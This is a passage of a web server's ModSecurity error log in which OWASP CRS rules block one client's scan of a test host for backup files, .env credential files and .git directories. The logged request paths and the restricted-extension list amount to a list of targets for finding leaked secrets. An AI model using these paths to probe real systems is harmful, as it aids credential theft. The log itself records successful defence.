[tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFIwAAAAg&quot;]
[Sun Mar 22 01:06:17.044580 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFIwAAAAg&quot;]
[Sun Mar 22 01:06:17.044720 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFIwAAAAg&quot;]
[Sun Mar 22 01:06:17.066559 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFJAAAAAg&quot;]
[Sun Mar 22 01:06:17.066940 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFJAAAAAg&quot;]
[Sun Mar 22 01:06:17.067066 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFJAAAAAg&quot;]
[Sun Mar 22 01:06:17.156631 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKAAAAAg&quot;]
[Sun Mar 22 01:06:17.156838 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKAAAAAg&quot;]
[Sun Mar 22 01:06:17.156975 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKAAAAAg&quot;]
[Sun Mar 22 01:06:17.178714 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKQAAAAg&quot;]
[Sun Mar 22 01:06:17.178939 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKQAAAAg&quot;]
[Sun Mar 22 01:06:17.179128 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKQAAAAg&quot;]
[Sun Mar 22 01:06:17.179263 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKQAAAAg&quot;]
[Sun Mar 22 01:06:17.201274 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.local&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKgAAAAg&quot;]
[Sun Mar 22 01:06:17.201500 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.local&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKgAAAAg&quot;]
[Sun Mar 22 01:06:17.201645 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.local&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKgAAAAg&quot;]
[Sun Mar 22 01:06:17.223360 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.old&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKwAAAAg&quot;]
[Sun Mar 22 01:06:17.223588 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.old&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKwAAAAg&quot;]
[Sun Mar 22 01:06:17.223784 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.old&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKwAAAAg&quot;]
[Sun Mar 22 01:06:17.223928 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.old&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFKwAAAAg&quot;]
[Sun Mar 22 01:06:17.246241 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.save&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLAAAAAg&quot;]
[Sun Mar 22 01:06:17.246480 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.save&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLAAAAAg&quot;]
[Sun Mar 22 01:06:17.246642 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env.save&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLAAAAAg&quot;]
[Sun Mar 22 01:06:17.268940 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env~&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLQAAAAg&quot;]
[Sun Mar 22 01:06:17.269152 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env~&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLQAAAAg&quot;]
[Sun Mar 22 01:06:17.269310 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env~&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLQAAAAg&quot;]
[Sun Mar 22 01:06:17.291271 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLgAAAAg&quot;]
[Sun Mar 22 01:06:17.291469 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLgAAAAg&quot;]
[Sun Mar 22 01:06:17.291606 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLgAAAAg&quot;]
[Sun Mar 22 01:06:17.313475 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/HEAD&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLwAAAAg&quot;]
[Sun Mar 22 01:06:17.313660 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/HEAD&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLwAAAAg&quot;]
[Sun Mar 22 01:06:17.313819 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/HEAD&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFLwAAAAg&quot;]
